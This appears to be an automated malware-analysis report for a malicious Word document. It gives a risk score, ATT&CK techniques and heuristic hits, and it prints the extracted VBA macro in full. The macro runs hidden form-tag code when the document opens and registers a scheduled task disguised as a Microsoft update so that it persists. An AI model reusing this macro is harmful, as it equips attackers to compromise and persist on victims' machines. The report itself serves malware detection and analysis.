MALICIOUS
208
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The document body explicitly instructs the user to enable editing and content, a common lure. The VBA code utilizes `CreateObject` and references Windows Script Host and PowerShell, indicating it likely attempts to download and execute a second-stage payload. The specific functionality of the VBA script is truncated, but the overall pattern suggests a downloader.
Heuristics 7
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set service = CreateObject("Schedule.Service") Call service.Connect -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() Dim message20 As Object -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3448 bytes |
SHA-256: 06ce3541f04e9d4520f15f0d564b2ed90c32e0a037994753dd848a87eadb42e9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Multytab()
Dim message21 As Object
Dim message23 As Object
Dim message2 As Object
Dim message25 As Object
Dim message26 As Object
Dim message29 As Object
Dim message20 As Object
Dim message27 As Object
Dim message211 As Object
Dim message212 As Object
Dim message24 As Object
Dim message234 As Object
Const TriggerTypeTime = 1
Const ate = 0
Dim service
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim whereTo
Set whereTo = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Start update process at a certain time"
regInfo.Author = "Microsoft Corp"
Dim principal
Set principal = taskDefinition.principal
principal.LogonType = 3
Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False
Dim triggers
Set triggers = taskDefinition.triggers
Dim whySoN
Set whySoN = triggers.Create(TriggerTypeTime)
Dim startTime, endTime
Dim time
time = DateAdd("s", 18, Now)
startTime = XmlTime(time)
time = DateAdd("n", 33, Now)
endTime = XmlTime(time)
whySoN.StartBoundary = startTime
whySoN.EndBoundary = endTime
whySoN.ExecutionTimeLimit = "PT" & "5M"
whySoN.ID = "TimeTriggerId8"
whySoN.Enabled = True
Dim alabama As Object
Set alabama = taskDefinition.Actions.Create(ate)
Dim formTag As String
formTag = crysler.Tag
Dim labelTag As String
labelTag = crysler.Label1.Tag
alabama.Arguments = formTag
Dim message800 As String
alabama.Path = labelTag
message800 = "Dim message800 As String"
Call whereTo.RegisterTaskDefinition( _
"Shceduled update task", taskDefinition, 6, , , 3)
Dim message28 As Object
End Sub
Sub Document_Open()
Dim message20 As Object
Dim message27 As Object
Dim message211 As Object
Dim message212 As Object
Application.Run crysler.Label3.Tag
Dim message25 As Object
Dim message26 As Object
Dim message29 As Object
ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges
Application.Quit
End Sub
Function XmlTime(t)
Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
Dim tTime, tDate
cSecond = "0" & Second(t)
cMinute = "0" & Minute(t)
CHour = "0" & Hour(t)
cDay = "0" & Day(t)
cMonth = "0" & Month(t)
cYear = Year(t)
tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
":" & Right(cSecond, 2)
tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
XmlTime = tDate & "T" & tTime
End Function
Attribute VB_Name = "crysler"
Attribute VB_Base = "0{0F1106D9-C973-4A77-8A68-B84BAAE721A9}{5E26AA67-64E5-4EA2-971B-94E88DA70AF4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label4_Click()
End Sub
Private Sub UserForm_Click()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.